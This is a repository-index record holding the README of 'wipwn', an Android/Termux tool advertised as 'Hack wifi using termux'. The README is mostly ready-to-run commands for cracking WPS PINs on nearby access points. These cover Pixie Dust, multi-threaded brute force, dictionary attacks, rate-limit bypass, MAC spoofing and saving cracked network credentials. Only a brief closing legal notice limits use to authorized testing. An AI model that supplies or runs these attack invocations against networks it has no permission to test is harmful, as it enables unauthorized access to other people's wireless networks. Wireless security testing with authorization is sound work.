{"id":19135996,"url":"https://github.com/anbuinfosec/wipwn","last_synced_at":"2026-06-12T20:31:58.950Z","repository":{"id":179096459,"uuid":"662961237","full_name":"anbuinfosec/wipwn","owner":"anbuinfosec","description":"Hack wifi using termux (rooted).","archived":false,"fork":false,"pushed_at":"2026-03-16T17:14:46.000Z","size":863,"stargazers_count":410,"open_issues_count":0,"forks_count":89,"subscribers_count":7,"default_branch":"main","last_synced_at":"2026-03-17T04:36:04.089Z","etag":null,"topics":["anbuinfosec","anbusec","android-wifi-hacking","hack-wifi","hack-wifi-using-termux","hack-wifi-with-phone","oneshot","oneshot-extended","termux-wifi-hack","termux-wifi-hack-android","wifi-hack-termux","wifi-hacking","wifi-hacking-android","wifi-hacking-android-termux","wifi-hacking-termux","wifi-tool","wipwn","wipwn-github","wpa","wps-attack"],"latest_commit_sha":null,"homepage":"http://anbuinfosec.me/wipwn/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/anbuinfosec.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":"copyright.txt","agents":null,"dco":null,"cla":null}},"created_at":"2023-07-06T08:58:59.000Z","updated_at":"2026-03-16T17:14:50.000Z","dependencies_parsed_at":"2025-07-10T18:34:09.680Z","dependency_job_id":"4cdb8540-6dad-4ab9-abbf-17d83201a772","html_url":"https://github.com/anbuinfosec/wipwn","commit_stats":null,"previous_names":["illusionghost3/wipwn","anbuinfosec/wipwn"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/anbuinfosec/wipwn","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anbuinfosec%2Fwipwn","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anbuinfosec%2Fwipwn/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anbuinfosec%2Fwipwn/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anbuinfosec%2Fwipwn/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/anbuinfosec","download_url":"https://codeload.github.com/anbuinfosec/wipwn/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anbuinfosec%2Fwipwn/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34262155,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-12T02:00:06.859Z","response_time":109,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["anbuinfosec","anbusec","android-wifi-hacking","hack-wifi","hack-wifi-using-termux","hack-wifi-with-phone","oneshot","oneshot-extended","termux-wifi-hack","termux-wifi-hack-android","wifi-hack-termux","wifi-hacking","wifi-hacking-android","wifi-hacking-android-termux","wifi-hacking-termux","wifi-tool","wipwn","wipwn-github","wpa","wps-attack"],"created_at":"2024-11-09T06:32:51.928Z","updated_at":"2026-06-12T20:31:58.940Z","avatar_url":"https://github.com/anbuinfosec.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# WIPWN - WiFi WPS Penetration Testing Tool\n\nFast and automated WiFi WPS PIN cracking tool with advanced attack features.\n\n\u003e **⚠️ Note**: WIPWN is optimized for **Termux From F-Dorid** on Android. For best results and compatibility, use Termux. Kali/Debian support is legacy.\n\n---\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://m.me/j/AbbEqWUTxCqdYG8j/?send_source=gc%3Acopy_invite_link_c\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/Join%20Our%20Messenger%20Community-0084FF?style=for-the-badge\u0026logo=messenger\u0026logoColor=white\" /\u003e\n  \u003c/a\u003e\n\u003c/p\u003e\n\n## 📦 Installation\n\n### Prerequisites\n- Python 3.8+\n- aircrack-ng suite\n- wpa_supplicant\n- pixiewps\n- Termux\n\n\n### Install (Termux)\n\n```bash\npkg update \u0026\u0026 pkg upgrade -y\npkg install root-repo -y\npkg install git python wpa-supplicant pixiewps iw openssl -y\npkg install tsu -y || pkg install sudo -y\ngit clone https://github.com/anbuinfosec/wipwn\ncd wipwn\nchmod +x main.py\n```\n\n---\n\n## 🗑️ Uninstall\n\n```bash\n\n# Remove wipwn\nrm -rf /path/to/wipwn\n```\n\n```bash\n\n# Remove sessions/data (optional)\nrm -rf ~/.Wipwn/\n```\n\n---\n\n## 🚀 Basic Commands\n\n### Start WiFi Scanning\n```bash\nsudo python3 main.py -i wlan0\n```\n\n### Pixie Dust Attack\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K\n```\n\n### Brute Force Attack\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B\n```\n\n### Dictionary Attack\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --dictionary-attack --wordlist /path/to/wordlist.txt\n```\n\n### With Results Saving\n```bash\nsudo python3 main.py -i wlan0 -K -w\n```\n\n### Auto-add to Vulnerability List\n```bash\nsudo python3 main.py -i wlan0 -K --auto-vuln-list\n```\n\n### Resume Session\n```bash\nsudo python3 main.py -i wlan0 --resume-session mysession\n```\n\n---\n\n## 📋 Command Examples\n\n### 1. Basic Target Attack\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K\n```\n- `-i wlan0` : WiFi interface\n- `-b AA:BB:CC:DD:EE:FF` : Target BSSID\n- `-K` : Pixie Dust attack\n\n### 2. Multi-threaded Bruteforce\n```bash\nsudo python3 main.py -i wlan0 --online-bruteforce --bruteforce-threads 8 --pin-limit 5000\n```\n\n### 3. Detect Weak Algorithms\n```bash\nsudo python3 main.py -i wlan0 --detect-weak-algo\n```\n\n### 4. Advanced Reconnaissance\n```bash\nsudo python3 main.py -i wlan0 --advanced-recon --signal-analysis\n```\n\n### 5. Bypass Rate Limiting\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --detect-rate-limit --bypass-rate-limit\n```\n\n### 6. Full Penetration Test\n```bash\nsudo python3 main.py -i wlan0 \\\n    -K \\\n    --advanced-recon \\\n    --detect-weak-algo \\\n    --spoof-mac \\\n    --html-report \\\n    --auto-vuln-list\n```\n\n### 7. Session Management\n```bash\n# Create session\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -s session1\n\n# Resume session\nsudo python3 main.py -i wlan0 --resume-session session1\n\n# List sessions\nsudo python3 main.py --list-sessions\n```\n\n### 8. Generate Reports\n```bash\nsudo python3 main.py -i wlan0 --html-report --detailed-report --report-dir ./reports\n```\n\n### 9. Custom PIN Testing\n```bash\nsudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -p 12345678\n```\n\n### 10. Push Button Connect\n```bash\nsudo python3 main.py -i wlan0 --pbc\n```\n\n---\n\n## 🛠️ Common Options\n\n### Attack Options\n```bash\n-K, --pixie-dust           Pixie Dust attack\n-B, --bruteforce           Online bruteforce\n-F, --pixie-force          Pixiewps force mode\n--pbc                      Push button connect\n--pin PIN                  Use specific PIN\n--dictionary-attack        Dictionary password attack\n```\n\n### Network Options\n```bash\n-i, --interface            Interface (required)\n-b, --bssid               Target BSSID\n--session ID              Save/restore session\n--channel-hop             Enable channel hopping\n--spoof-mac               Spoof MAC address\n```\n\n### Detection \u0026 Bypass\n```bash\n--detect-rate-limit       Check for rate limiting\n--bypass-rate-limit       Attempt bypass\n--detect-weak-algo        Find weak algorithms\n--advanced-recon          Network fingerprinting\n```\n\n### Results\n```bash\n-w, --write               Save credentials\n--auto-vuln-list          Add to vulnerability list\n--html-report             Generate HTML report\n--json-output FILE        Save results as JSON\n--csv-output FILE         Save results as CSV\n```\n\n### Performance\n```bash\n-t, --timeout SEC         Receive timeout\n-d, --delay SEC           Delay between attempts\n-l, --lock-delay SEC      Wait after lock\n--bruteforce-threads N    Number of threads\n```\n\n---\n\n## 📁 Important Files\n\n```\n~/.Wipwn/\n├── sessions/              # Saved sessions \u0026 cracked networks\n├── wordlists/             # Dictionary files\n└── reports/               # Generated reports\n\nvulnwsc.txt              # Vulnerability list\n```\n\n---\n\n## ✅ Output Indicators\n\n- `[+]` = Success\n- `[i]` = Information\n- `[!]` = Warning\n- `[-]` = Error\n- `[?]` = Question\n\n---\n\n## 🎨 Network Status Colors\n\nNetworks are marked with color indicators during scanning:\n\n- 🟢 **Green** - Possibly vulnerable (WPS enabled, no protection detected)\n- 🔴 **Red** - WPS locked (AP is actively blocking WPS attempts)\n- 🟡 **Yellow** - Already stored (Network credentials cracked and saved in vulnwsc.txt)\n- ⚪ **White** - Maybe vulnerable (WPS unclear, needs further analysis)\n\n---\n\n## 🔧 Troubleshooting\n\n### Interface Not Found\n```bash\niwconfig\nsudo airmon-ng\n```\n\n### Permission Denied\n```bash\nsudo python3 main.py -i wlan0\n```\n\n### Target Not Responding\n```bash\nsudo python3 main.py -i wlan0 -b BSSID -K -t 20\n```\n\n### Rate Limited\n```bash\nsudo python3 main.py -i wlan0 -b BSSID -K --bypass-rate-limit\n```\n\n---\n\n## 🔄 Quick Reference\n\n```bash\n# Scan only\nsudo python3 main.py -i wlan0\n\n# Quick attack (Pixie Dust + Save)\nsudo python3 main.py -i wlan0 -b BSSID -K -w\n\n# Full test with reports\nsudo python3 main.py -i wlan0 --advanced-recon --html-report -w\n\n# Bruteforce\nsudo python3 main.py -i wlan0 -b BSSID -B --bruteforce-threads 8\n\n# Dictionary attack\nsudo python3 main.py -i wlan0 -b BSSID --dictionary-attack --wordlist wordlist.txt\n```\n\n---\n\n## 💖 Support / Donations\n\nIf you find this project useful, consider supporting its development 🙌\n\n---\n\n## 🪙 Donate\n\n### 🪙 Binance Pay (Recommended)\n\n* **UID:** `1189173734`\n\n---\n\n### ⚡ USDT (TRC20)\n\n```text\n0x6b21c1acb94f83b52d1e33bb831527e10133a8e0f705b45cc23a644fa897e24c\n```\n\n---\n\n### 🟠 Bitcoin (BTC)\n\n```text\nbc1puekadn2dnwc0vyzy0xwl6564geml2kt3ymhvcwvvkdxadpny2l4qy7xxa0\n```\n\n---\n\n### 🪶 Litecoin (LTC)\n\n```text\n4AjFZj5hqjhTF18SJeDyFXHYaKrimHbjSKJok7MqizN6\n```\n\n---\n\n### 📱 bKash (Merchant)\n\n* **Number:** `01615827704`\n* **Reference:** `Donation`\n\n---\n\n### 🙏 Thank You\n\nEvery contribution helps keep this project alive ❤️\n\n---\n\n## ⚖️ Legal Notice\n\n**This tool is for authorized security testing ONLY.**\n- Only test networks you own or have permission to test\n- Unauthorized access is illegal\n- User assumes all responsibility\n\n---\n\n**OneShot v0.0.2** | Modified by @anbuinfosec\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanbuinfosec%2Fwipwn","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fanbuinfosec%2Fwipwn","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanbuinfosec%2Fwipwn/lists"}